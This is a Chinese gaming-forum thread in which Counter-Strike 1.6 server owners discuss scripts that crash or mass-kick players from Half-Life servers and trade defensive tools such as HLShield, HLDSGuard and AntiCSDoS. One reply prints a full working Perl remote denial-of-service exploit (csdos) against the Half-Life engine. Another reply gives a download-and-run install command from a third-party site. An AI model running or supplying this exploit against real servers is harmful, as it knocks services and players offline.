回复: 真的有群踢服务器人的脚本?
不对啊 他用的不是pera脚本 而是单纯的控制台命令而已所以才感觉很奇怪
他也说他 只有用他制作的版本没问题 别人制作的DOD版本都被踢还说正版也存在这个问题
回复: 真的有群踢服务器人的脚本?
那个pera脚本获得很简单的如果你想要 明天我送你一份。
回复: 真的有群踢服务器人的脚本?
我觉得不是pera脚本吧:cry: 我知道这个可以攻击服务器但是看他介绍应该是用控制台的,因为你看他介绍的,多按几次F8,意思就是说他绑定一个脚本
所以根据推测绝对不是pera脚本
回复: 真的有群踢服务器人的脚本?
我的分析肯定是绑了一个脚本!!至于什么脚本我就不清楚了!只想知道如何的防止!!急!急!急!望老大们能找到一个好的办法阻止!!他做的版本我看过了貌似没什么特别之处!难道是修改了某个文件!!回复: 真的有群踢服务器人的脚本?
急什么急???办法都教给你们了。。
攻击源码是perl的脚本
#!/usr/bin/perl
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV;
$host=$ARGV;
if(fork()) {
econnect($host);
} else {
econnect($host);
};
exit;
sub econnect($)
{
my $host=$_;
my $sock = new IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";
sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);
$c2=$c;
$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}
回复: 真的有群踢服务器人的脚本?
linux服务器有这个工具我一直在用
http://hobby.sarichioi.com/index.php?topic=8.0
What is HLShield
HLShield is a small library, which are injected in Half Life engine, to protect it against exploits, including against CSDOS.
HLShield features
block any CSDOS attack, including modified versions
block "born to be pig" exploit
block the scripts which attempt to "fill" the server with fake players
can to remove some kind of characters from player nickname, like "`" or "~"
allow sending a funny message to attacker
logging attacks, including IP and kind of attack
very easy install/update, based on automatically installing script
How to install
log on to server (ssh or console)
go to cstrike directory (where hlds_run is)
execute the following code:
Code:
wget http://hobby.sarichioi.com/cstrike/hlshield-install.sh
chmod 755 hlshield-install.sh
./hlshield-install.sh
restart Counter Strike server
check that after restart you see in console something like this:
Code:
Loaded 28 admins from file
HLShield: HLShield 1.11 - (c) 2007 by Serghei Amelian
Master server communication disabled.
download CSDOS script from here
attack your server, for checking:
Code:
perl csdos.pl IP.SERVER
if everything are ok, you must to see in /var/log/daemon.log (or in console) something like this:
Code:
Jan 26 11:26:48 gw HLShield: rejected atack from ATTACKER.IP
回复: 真的有群踢服务器人的脚本?
至于他用的说不来到底是什么脚本了hlds crash 的脚本以前下载过一个 删除掉了
回复: 真的有群踢服务器人的脚本?
拿这个卖钱..真的不知道是什么心态.回复: 真的有群踢服务器人的脚本?
windows防御的工具 http://www.awakelgcc.narod.ru/downloads.htm自行下载安装 说明文件比程序都要大
自己慢慢看 很简单
算了,我还是说一下吧。。。
这个工具叫 HLDSGuard v1.4.3 PRO
把附件解压开 放hlds的根目录下 就可以了
开启开启hlds.exe或者批处理方式都支持
回复: 真的有群踢服务器人的脚本?
再介绍一个工具AntiCSDoS下载地址我的网盘或者http://shockingsoft.com/soft.php?tip=soft
附件我也上传了一份
使用方法继续放入hlds根目录中
然后运行AntiCSDoS.exe程序
点patch hlds 然后就ok了
很直观就不多说了 让用这些脚本搞破坏的go to hell
一点技术含量都没有